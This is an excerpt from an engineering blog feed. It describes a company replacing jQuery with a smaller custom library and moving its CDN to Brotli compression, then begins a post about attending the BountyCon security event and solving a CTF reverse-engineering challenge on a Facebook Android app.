allowed customers not to include jQuery twice on the page if the customer’s website was already using it. It was the right choice back then as jQuery was very popular and almost every website had it. But as people started using various methods of jQuery, there was a risk in upgrading jQuery version because we can’t be sure what methods are being used by customers and what changes in those methods’ APIs had been done in newer versions of jQuery.&lt;/p&gt; &lt;p&gt;To improve the performance of the library we decided to write a small alternative of jQuery based on &lt;a href=&quot;https://github.com/kenwheeler/cash/&quot;&gt;cash.js&lt;/a&gt; and jQuery.js, this new library is around 13KB (Minified and Uncompressed) as compared to 70.5 KB(Minified and Uncompressed) of jQuery 1.4.2.&lt;/p&gt; &lt;p&gt;Why not jQuery&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;jQuery is huge in uncompressed size (70.5KB).&lt;/p&gt; &lt;ul&gt; &lt;li&gt;jQuery needs to take care of all the browser quirks and in all possible ways, a method is called.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;We were also not using all the features that it had to offer.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;jQuery provides a lot of methods and not all of them are required for our purpose, For example, we don’t require animation support in CSS&lt;/li&gt; &lt;li&gt;It provides a &lt;a href=&quot;https://projects.jga.me/jquery-builder/&quot;&gt;custom builder&lt;/a&gt; that allows users to skip certain modules but the resulting JS size was still a lot as it has unwanted things not used by us.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;So, the solution was to create our own alternative of jQuery which would meet the following requirements.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;A very custom solution implementing only the functionality required by VWO - to keep the code size smallest possible supporting IE11+ and all other browsers (Chrome/Firefox/Opera/Safari/Edge). We used &lt;a href=&quot;https://browserl.ist/?q=defaults&quot;&gt;Browserlist&lt;/a&gt; to identify browsers’ share and decided to not support browsers with percentage share less than 1 percent.&lt;/li&gt; &lt;li&gt;It should conform to jQuery API so that almost no change is required in the code using jQuery earlier.&lt;/li&gt; &lt;li&gt;It should be as stable as jQuery. &lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;steps-we-took-to-migrate-to-no-jquery&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#steps-we-took-to-migrate-to-no-jquery&quot; aria-label=&quot;steps we took to migrate to no jquery permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Steps we took to migrate to “no jQuery”&lt;/h3&gt; &lt;ol&gt; &lt;li&gt;We started by scanning the entire library codebase for calls matching vwo_$().methodName with a regular expression search and were able to get a list of jQuery methods being used by VWO.&lt;/li&gt; &lt;li&gt;We found out methods that were just “syntactic sugar” and were being used e.g. there was first() method which is technically equivalent to eq(0). So, we changed the usage of the first method to eq(0).&lt;/li&gt; &lt;li&gt;We started taking the implementation of the methods from the latest jQuery version as-is and started removing the code that wasn’t for us.&lt;/li&gt; &lt;li&gt;We took the tests from cash.js and ran its tests. We chose cash.js tests for this because it’s functionality is a very small subset of jQuery and is mostly a superset of our requirements. A lot of tests failed and we identified which failures are acceptable and which are not and accordingly modified the tests.&lt;/li&gt; &lt;li&gt;We integrated the new library with our codebase and ran tests. We have a good number of Integration tests and E2E Tests apart from Unit tests for our libraries using the jQuery. Even though our existing Unit Tests didn’t help here but good coverage with Integration and E2E tests helped in finding bugs.&lt;/li&gt; &lt;li&gt;Apart from Automated Tests, we did a good amount of Manual Testing across various browsers and platforms with all the libraries which took the major effort.&lt;/li&gt; &lt;li&gt; &lt;p&gt;Once all testing passed, we decided to enable this new library for &lt;a href=&quot;https://vwo.com/&quot;&gt;vwo.com&lt;/a&gt; as the website uses VWO itself to monitor the errors in production.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;This was required to test the library in production with all sorts of devices and browsers visitors come from.&lt;/li&gt; &lt;li&gt;The website has &lt;a href=&quot;https://sentry.io/organizations/vwo/issues/&quot;&gt;sentry&lt;/a&gt; in place to track any errors coming on the website.&lt;/li&gt; &lt;li&gt;We monitored the errors for a few days and were able to identify a few bugs from it which neither our automation nor manual testing was able to catch.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;After the bugs were fixed, we monitored for a few more days just to be sure and then we enabled it for all the new users signing up for VWO. It isn’t possible to enable it for existing accounts as they might be using some methods of jQuery directly.&lt;/li&gt; &lt;li&gt;Next, we would be working on a way to reliably identify accounts for which the new library can be automatically enabled.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Below are the performance stats for a static and local website (we chose this to eliminate network fluctuations) using the two different versions of our library. All the stats are median of five performance audits we did.&lt;/p&gt; &lt;table style=&quot;width:70%&quot; align=&quot;center&quot; border=&quot;1px solid black&quot;&gt; &lt;thead&gt; &lt;tr align=&quot;center&quot;&gt; &lt;th&gt;&lt;/th&gt; &lt;th&gt;Time to Interactive&lt;/th&gt; &lt;th&gt;First CPU Idle&lt;/th&gt; &lt;th&gt;Performance Score&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;With jQuery &lt;/td&gt; &lt;td&gt;6.1&lt;/td&gt; &lt;td&gt;5.9&lt;/td&gt; &lt;td&gt;74&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Without jQuery&lt;/td&gt; &lt;td&gt;5.4&lt;/td&gt; &lt;td&gt;5.1&lt;/td&gt; &lt;td&gt;79&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;h2 id=&quot;brotli-compression-for-all-static-files&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#brotli-compression-for-all-static-files&quot; aria-label=&quot;brotli compression for all static files permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Brotli Compression for all Static Files&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/google/brotli/blob/master/c/tools/brotli.md&quot;&gt;Brotli&lt;/a&gt; is a compression technique introduced by google. It is a lossless compression algorithm that compresses data by using the combination of the LZ77 algorithm, Huffman coding, and 2nd order context modelling. It is similar in speed to deflate but offers denser compression.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://caniuse.com/#search=brotli&quot;&gt;&lt;img src=&quot;https://lh5.googleusercontent.com/AevuoDiVqRfwwk6feRa7dxx4rk-EPH0QnDWj0-Z5qmJUQJ_OfaKisc2s340Mo4BlS19UczC5ck6C48m-TtETAHiqsTiCgL7hCuL9ntT-rSzpeAqZboNPx-QR8JMVMlOOrPzC4dPE&quot;&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;why-brotli&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#why-brotli&quot; aria-label=&quot;why brotli permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Why brotli?&lt;/h3&gt; &lt;p&gt;It is well supported by all popular browsers. It is reported to have &lt;a href=&quot;https://paulcalvano.com/index.php/2018/07/25/brotli-compression-how-much-will-it-reduce-your-content/&quot;&gt;gains up to 25%&lt;/a&gt; over gzip compression. This info was enough to get us focussed on implementing Brotli on our &lt;a href=&quot;https://engineering.wingify.com/posts/dynamic-cdn/&quot;&gt;CDN&lt;/a&gt;. Fewer bytes transferred over the network not only leads to a decrease in the page load time but also decreases the cost of serving the file.&lt;/p&gt; &lt;h3 id=&quot;why-just-static-files&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#why-just-static-files&quot; aria-label=&quot;why just static files permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Why just Static Files?&lt;/h3&gt; &lt;p&gt;We found that compressing resources on the fly won’t lead to performance optimization in a straightforward manner as compression time which is on the higher side for brotli as compared to gzip might impact response time. See &lt;a href=&quot;https://blogs.dropbox.com/tech/2017/04/deploying-brotli-for-static-content/&quot;&gt;https://blogs.dropbox.com/tech/2017/04/deploying-brotli-for-static-content/&lt;/a&gt; for more details. So we avoided that in the first implementation. Also, as Brotli is meant to compress text files and shouldn’t be used for binary files, we skipped images from brotli compression.&lt;/p&gt; &lt;h3 id=&quot;steps-we-took-to-move-from-gzip-to-brotli-for-static-files&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#steps-we-took-to-move-from-gzip-to-brotli-for-static-files&quot; aria-label=&quot;steps we took to move from gzip to brotli for static files permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Steps we took to move from gzip to Brotli for Static Files&lt;/h3&gt; &lt;p&gt;Brotli Compression was something that would be enabled for all of our customers at once(Per account strategy wasn’t possible as the static requests don’t contain VWO Account Id) and we had to be extra sure that in no circumstance our customers’ data is impacted. So, carefully followed the following steps:&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;We compressed all the static files during our NodeJS based Build process with the highest level of compression Level(i.e. 11)&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;The built files contained three versions of the files&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Uncompressed&lt;/li&gt; &lt;li&gt;Brotli Compressed (.br)&lt;/li&gt; &lt;li&gt;Gzip Compressed (.gz)&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;Earlier we used &lt;a href=&quot;https://github.com/foliojs/brotli.js&quot;&gt;https://github.com/foliojs/brotli.js&lt;/a&gt; but we found that it failed to compress small files(&lt;a href=&quot;https://github.com/foliojs/brotli.js/issues/19&quot;&gt;https://github.com/foliojs/brotli.js/issues/19&lt;/a&gt;). So, we moved to &lt;a href=&quot;https://github.com/MayhemYDG/iltorb&quot;&gt;https://github.com/MayhemYDG/iltorb&lt;/a&gt;. Our automation caught this bug. More on automation later.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;We use OpenResty at our &lt;a href=&quot;https://engineering.wingify.com/posts/dynamic-cdn/&quot;&gt;CDN&lt;/a&gt; and we already had certain rewrite rules in Lua in place to be able to serve different content to different browsers. There we added support for serving already compressed brotli files.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;We read the ‘Accept-Encoding’ header and identified the encoding supported by the UserAgent from there.&lt;/li&gt; &lt;li&gt;If the UserAgent claimed to support brotli we served brotli otherwise, we served gzip. We assume that there is no browser that doesn’t support gzip which is validated by &lt;a href=&quot;https://caniuse.com/#search=gzip&quot;&gt;https://caniuse.com/#search=gzip&lt;/a&gt;&lt;/li&gt; &lt;li&gt;We made sure the Vary: Accept-Encoding response header is set in all cases. More on this later.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;Before making it to the production we wanted to be sure that in the production all browsers which claim to have the support of brotli are able to decompress at the highest level of compression. For this, we decided to compress our most used library and served it on vwo.com as an independent request. We identified a particular string in the library and made sure that it was present every time. In case it’s not present or the response code wasn’t 200 we logged it as an error on Sentry. We monitored the logs for 2 days and found no issues. So, all ok from this angle.&lt;/li&gt; &lt;li&gt;Due to the relatively complex release process of VWO libraries, it wasn’t practical to create brotli files for all the possible static files [We have versioning for all files]. Due to this, we had to modify Nginx conf location blocks to force any requests to deprecated files to redirect to the latest stable version of that file. It required all possible static content serving endpoints to be tested.&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;how-did-we-make-sure-that-there-were-no-issues-with-the-release&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-did-we-make-sure-that-there-were-no-issues-with-the-release&quot; aria-label=&quot;how did we make sure that there were no issues with the release permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How did we make sure that there were no issues with the release?&lt;/h3&gt; &lt;p&gt;To ensure that there were no issues with the new version of the VWO library we wrote Request Response based automation test cases for our CDN in addition to the existing e2e test cases. We created a list of all possible static files that are served by our CDN by scanning all our libraries built code through automation. We combined it with all the possible versions of our libraries and it created a list of all possible endpoints (including some non-existent endpoints as some files are not servable in certain versions) that we have.&lt;/p&gt; &lt;p&gt;It verified the following things for all those endpoints:-&lt;/p&gt; &lt;ul&gt; &lt;li&gt;For different variations of the Accept-Encoding request header file with the expected compression was served. Expected Compression was verified by Checking the Content-Encoding Response Header.&lt;/li&gt; &lt;li&gt;Status Code is 200. If the Status Code is non-200 (Remember there were non-existent endpoints in it), it would verify it with one of the designated production CDN nodes to see if that also returned the same non-200 status code. If yes, then it’s a non-existent endpoint otherwise it’s a bug.&lt;/li&gt; &lt;li&gt;We have endpoints like &lt;a href=&quot;http://dev.visualwebsiteoptimizer.com/6.0/va.js&quot;&gt;https://dev.visualwebsiteoptimizer.com/6.0/va.js&lt;/a&gt;. Here 6.0 means 6.0 version of the library. We used the framework to ensure that the content for the request corresponds to the requested version. Almost all of our files have versioning information in them.&lt;/li&gt; &lt;li&gt;Bonus, we used the effort done in framework implementation to verify licenses also for all of our endpoints. Plus, the framework is flexible enough to verify anything in response.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;We didn’t make the changes live in one go on all our CDN nodes. We started with a node with the least amount of traffic with careful monitoring. We monitored the logs for a day and then proceeded to make it live on the other servers as well.&lt;/p&gt; &lt;p&gt;Our Testing library - Most Used[Sizes are with the new version in which jQuery doesn’t exist]&lt;/p&gt; &lt;p&gt;With gzip&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;https://lh5.googleusercontent.com/tgRjC_VNMrWMr0Lirng3CyPMQzxfFEsfvCbWf4WpPkvP-9ArudoMXCP8OhHbWxhOi-bAMAHAW_w1eFBs2A-cb9TWQBcQ0k3icv1Lvv9FZO43uWpSuHQiV_jIhPntr4xNKoG5ggfB&quot;&gt;&lt;/p&gt; &lt;p&gt;With Brotli&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;https://lh6.googleusercontent.com/knj7kYBN3217lPwqPC25gsL4lwB9u0L2r2XYOTnjnvzzCZoCIAmJgn-6Esh-eLZmLQOn0MUV-XO_c7ocZhoi_2l8xUIII_88hU7z6aMS30e6fKudh42HdUOAKqZ5W4WemHVhVGOp&quot;&gt;&lt;/p&gt; &lt;h3 id=&quot;the-importance-of-vary-header&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-importance-of-vary-header&quot; aria-label=&quot;the importance of vary header permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The importance of Vary Header&lt;/h3&gt; &lt;p&gt;To make sure that any HTTP Cache does not cache a specific compressed file and serve it for all UserAgents regardless of the decompression support at that UserAgent, we are using the vary header with Accept-Encoding to make sure the right file is served to the User-Agent. You can read more about it at &lt;a href=&quot;https://www.fastly.com/blog/best-practices-using-vary-header&quot;&gt;https://www.fastly.com/blog/best-practices-using-vary-header&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;future-plans&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#future-plans&quot; aria-label=&quot;future plans permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Future Plans&lt;/h3&gt; &lt;p&gt;Currently this library is available for new customers only. But we are planning to deploy this library for all of our existing customers. It would require to figure out if they are using any jQuery method directly or not. Also, we would be experimenting with brotli compression on the fly for our non-static files.&lt;/p&gt; &lt;p&gt;This is not the end of our performance improvement journey. Stay tuned !&lt;/p&gt;</content:encoded><author>Shubham Soni, Udit Chawla</author></item><item><title><![CDATA[Three Wingifighters at the BountyCon]]></title><description><![CDATA[On March 29th, 2019, our team members Ankit Jain, Dheeraj Joshi and I had the privilege to attend a very exclusive event called BountyCon in…]]></description><link>https://engineering.wingify.com//posts/three-wingifighters-at-the-bountycon/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/three-wingifighters-at-the-bountycon/</guid><pubDate>Wed, 18 Dec 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;      On March 29th, 2019, our team members &lt;a href=&quot;https://twitter.com/ankneo&quot;&gt;Ankit Jain&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/dheerajhere&quot;&gt;Dheeraj Joshi&lt;/a&gt; and I had the privilege to attend a very exclusive event called &lt;a href=&quot;https://www.facebook.com/notes/facebook-bug-bounty/introducing-bountycon/2415701251777420/&quot;&gt;&lt;strong&gt;BountyCon&lt;/strong&gt;&lt;/a&gt; in Singapore at Facebook APAC HQ. This was an invitation-only event organized by &lt;strong&gt;Facebook&lt;/strong&gt; and &lt;strong&gt;Google&lt;/strong&gt;, that gave Security Researchers and University Students an opportunity to hear from some of the brightest minds in the field of &lt;strong&gt;Bug Bounty Hunting.&lt;/strong&gt; The purpose of BountyCon was to bring together researchers from all over the Asia-Pacific region under one roof to collaborate, network and submit security flaws across both platforms during the live hacking event. In this blog post, I will cover my experience with the BountyCon, how the conference turned out, impression on the CTF event, and overall thoughts about the Conference experience!&lt;/p&gt; &lt;h2 id=&quot;how-did-we-get-the-invitation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-did-we-get-the-invitation&quot; aria-label=&quot;how did we get the invitation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How did we get the invitation?&lt;/h2&gt; &lt;p&gt;      In January 2019, Facebook and Google launched a &lt;strong&gt;Capture the Flag&lt;/strong&gt; competition (CTF) for the first time to identify new whitehats in the Asia-Pacific region. Like everyone, we signed up for this competition and were super excited about this event.&lt;/p&gt; &lt;p&gt;So there were several reasons that led me to participate in this competition.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Chance to visit Singapore:&lt;/strong&gt; Top 20 winners were to be awarded free flight tickets and accommodations in Singapore to attend the event.&lt;/li&gt; &lt;/ul&gt; &lt;div style=&quot;text-align:left;margin:50px&quot;&gt; &lt;img src=&quot;https://static.wingify.com/gcp/uploads/sites/5/2019/12/excited.gif&quot; style=&quot;box-shadow: 2px 2px 10px 1px #222; width: 320px; height: auto;&quot;&gt; &lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Meeting new Researchers:&lt;/strong&gt; How could I miss a chance to be in an environment where everyone speaks your language.&lt;/li&gt; &lt;/ul&gt; &lt;div style=&quot;text-align:left;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/harry_potter.gif&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 320px; height: auto;&quot;&gt; &lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Facebook, Singapore HQ:&lt;/strong&gt; - Yes! The venue for this event was at the Facebook office and I was thrilled to visit their new APAC HQ.&lt;/li&gt; &lt;/ul&gt; &lt;div style=&quot;text-align:left;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/facebook_office.jpg&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 320px; height: auto;&quot;&gt; &lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Facebook and Google swags:&lt;/strong&gt; Just a cherry on the top!&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Anyways, the objective of this competition was to perform passive recon (the number of flags planted wasn&apos;t revealed) against the target (Google and Facebook) and capture as many flags as possible. Most of the challenges were related to OSINT and some of them were related to Web, Cryptography, steganography, and Reverse Engineering.&lt;/p&gt; &lt;p&gt;I started the challenge by googling &quot; &lt;strong&gt;Bountycon&lt;/strong&gt;&quot; and at the end of the search, I got a flag inside security.txt file ;)&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/security_txt.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 420px; height: auto;&quot;&gt; &lt;/div&gt; &lt;p&gt;After capturing the first flag I felt a sense of adrenaline build up inside of me. Over the next two hours, I continued hammering away at my keyboard, consequently solving a few more challenges.&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/hunting_mode.gif&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 420px; height: auto;&quot;&gt; &lt;/div&gt; &lt;p&gt;A problem that was both interesting and challenging was the &lt;strong&gt;Deeplink challenge&lt;/strong&gt;. It involved reverse-engineering facebook app and reconstructing the flag from assembly code. So here is how I solved this challenge, thanks to &lt;a href=&quot;https://twitter.com/mgill25&quot;&gt;Manish Gill&lt;/a&gt; for pointing me in the right direction.&lt;/p&gt; &lt;p&gt;The first thing that comes to mind when relating CTF and the executable(APK) file is Reverse-Engineering.&lt;/p&gt; &lt;p&gt;I quickly downloaded the latest app from &lt;a href=&quot;https://www.facebook.com/android_upgrade&quot;&gt;https://www.facebook.com/android_upgrade&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Using the all-purpose decompiler &lt;a href=&quot;https://ibotpeaches.github.io/Apktool/&quot;&gt;tool&lt;/a&gt; as my first resort, I found the first flag in the AndroidManifest.xml file.&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/bountycon_manifest_flag.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 820px; height: auto;&quot;&gt; &lt;/div&gt; &lt;p&gt;But wait, &lt;strong&gt;this is not the solution for Deeplink Challenge&lt;/strong&gt; :P&lt;/p&gt; &lt;p&gt;The second flag was even more elusive. To solve the Deeplink challenge, I had to download and decompile the previous release of the facebook app.&lt;/p&gt; &lt;p&gt;I downloaded the previous-release(Facebook 203.0.0.16.293) of the Facebook app from &lt;a href=&quot;https://www.apkmirror.com/apk/facebook-2/facebook/facebook-203-0-0-16-293-release/&quot;&gt;&lt;strong&gt;apkmirror&lt;/strong&gt;&lt;/a&gt; and decompiled the resources using apktool.&lt;/p&gt; &lt;p&gt;After searching for some time, I found an interesting file called PSaaActivity.smali.&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/bountycon_deeplink_flag.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 420px; height: auto;&quot;&gt; &lt;/div&gt; &lt;p&gt;After going through the assembly code and some debugging I finally found the second flag 